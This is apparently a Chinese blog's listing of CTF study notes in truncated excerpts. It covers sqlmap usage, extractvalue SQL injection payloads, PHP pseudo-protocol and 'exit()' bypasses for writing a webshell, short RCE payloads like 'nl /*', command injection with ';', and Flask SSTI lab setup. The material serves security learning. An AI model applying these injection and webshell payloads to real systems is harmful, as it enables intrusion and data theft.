sqlmap使用
SQLmap一、目标1、指定url2、指定文件(批量检测)3、指定数据库/表/字段4、post请求5、cookie注入二、脱库1、获取数据库2、获取表3、获取字段4、获取字段类型5、获取值(数据)6、获取用户7、获取主机名8、搜索库、表、字段。9、正在执行的SQL语句三、WAF绕过三、其他
SQLmap是一款「自动化」SQL注入工具,kali自带。路径 /usr/share/sqlmap
打开终端,输入sqlmap,出现以下界面,就说明SQLmap「可用」。
SQLmap(常规)使用步骤1、检测「注入点」1sqlmap -u 'http://xx/?id=1'
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677python sqlmap.py -u &quo ...
0x008extractvalue报错注入(只显示32个字符)
3.使用extractvalue查询xml里面的内容
1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+
1?id=1' and 1=select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+
查表名
1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+
查列名
1?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(column_name) from in ...
这题考了无参数rce 伪协议读取
flag就在主目录下
/code里的源码
解释过滤了data://
有个parse_url($url)函数
检测url的host部分 是不是baidu.com
然后下面是无参
最终执行eval($code)
这里通过compress.zlib://伪协议进行文件读取
可以分解为:
compress.zlib:// → 这是 PHP 的流封装器,用于处理 zlib 压缩 的数据流(.gz 格式)。
data: → 这是 data URI scheme,可以内嵌数据而非从文件或网络读取,常用于嵌入 base64 数据。
你可以把它理解为:
“把 base64 编码的内联数据当成 gzip 文件读取”
但是这里我们不需要base64编码
怎么使host=baidu.com
1url=compress.zlib://data:@baidu.com/plain,...
这里通过compress.zlib://伪协议 …会被当做php代码执行
parse_url ...
靶场 重庆橙子科技ssti靶场
开启靶场命令sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c ‘/etc/rc.local; /bin/bash’
0x03 Python flask变量及方法Flask变量规则通过向规则参数添加变量部分 可以动态构建URL。
1234567891011121314from flask import Flaskapp = Flask(__name__)@app.route("/benben/<name>")def ben(name): return "hello %s" % name@app.route('/int/<int:postID>')def id(postID): return "hello %d" % postID@app.route('/rev/<f ...
RceMe
这题只限制了payload为五字符以内
先传
1?com=ls /
得出flag目录
读取flag文件的话 通过nl命令
使用nl命令:nl是用于添加行号的命令,支持短路径通配符。
通配符匹配路径:/*匹配根目录下的所有文件,假设/flag是其中唯一可读的文件。
1payload:?com=nl /*
命令长度:n + l + 空格 + / + * → 共5个字符。
执行效果:列出根目录下所有文件的内容(带行号),若/flag存在且可读,其内容将被输出
ezGame很明显需要你得分高于2048(游戏高手可以选择自己慢慢玩QAQ)
查看源码 搜索score
1.req.open(“GET”, “flag.php?score=” + obj.score, true); // 打开 GET 请求,URL 里包含 score 参数
可以看出最后分数是会经过GET请求的进行flag.php?score=? 的访问进行验证
所以我们可以直接构造
1url/flag.php?score=2048
来得 ...
NSSCTF Round#30 小桃的PHP挑战
第一关
isset($_GET['one']) ✅ 为真
$str = '9'
$add = substr('9', 0, 1) → '9'
$add++ → '10'
strlen($add) = 2 > 1 → ✅ 条件成立
执行 $A = 1;,不会执行 echo
✅ 所以:**传 **?one=1&str=9**,会使$A=1
第二关先传一个two=1
🚫 黑名单限制:
禁止:;、空格、$、#、反引号、单双引号、星号、问号、尖括号、换行、^ 等等。
这里的$B=1 在 if 的 try 里
只要我们能进入if循环的try里即可
这里我们只需要注释一下就行 直接传 *comment=/或者//都可以
然后try里就会是
1eval('$B = 1;'./*.';echo $two;die();');
/ ...
php死亡exit()绕过需要绕过exit()的地方一般都是file_put_contents
大致有如下三种
123file_put_contents($filename,"<?php exit();".$content);file_put_contents($content,"<?php exit();".$content);file_put_contents($filename,$content . "\nxxxxxx");
tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行
第一种情况1file_put_contents($filename,"<?php exit();".$content);
base64编码绕过12filename=php://filter/convert.base64-decode/resource=shell.phpcontent=aPD9waHAgQGV2YWwoJF9QT1NUWydzaGV ...
polar bllbl_rce
发现尝试输入什么都会返回 no
目录扫描一下 这边用的御剑
发现了http://b03cb505-b6b0-4441-afa9-3394da78554d.www.polarctf.com:8090/admin/admin.php
访问后下载源码备份 查看源码
if (strpos($command, ‘bllbl’) === false)
这里发现我们输入的命令里 要有 bllbl 字符
那可以输入命令了 ls /;bllbl
cat /flag;bllbl
polar 写shell
file_put_contents 函数 会把**<?php exit();”.$_POST[‘content’]** 存入到 $_GET[‘filename’] 文件里
但是这里的<?php exit(); 执行时就会直接先执行exit()退出了 导致我们后面的代码无法执行
这里就需要绕过一下exit();
这里是
php死亡exit()绕过
1file_put_contents($filename,"<?php exit();".$content);
tips:伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个Warning,然后跳过继续执行
base64编码绕过
12filename=php://filter/read/convert.base64-decode/resource=shell.phpcontent=aPD9waHAgcGhwaW5mbygpOz8+
利用php://filter 伪协议 先将 <?php exit() ...
其中笔记多为查询ai获得
ai直接解释不清楚的 为自行查找并总结
strops()strpos() 是 PHP 用来查找字符串 的函数,它用于查找 某个字符串 在 另一个字符串 中 首次出现的位置。
if (strpos($xdmtql, 'sys nb') !== false) {
echo 'flag{*******}';
} else {
echo 'true .swp file?';
}
strops函数匹配上传的参数里有sys nb
如果 $xdmtql 不匹配 /sys.*nb/(即 sys 和 nb 不能被任何字符隔开,除非是空格)
如果 $xdmtql 里面有 “sys nb”,输出 flag{*******}(获取 flag)
否则,输出 “true .swp file?”`。
preg_match()preg_match('/^\W+$/', $v3):这行代码检 ...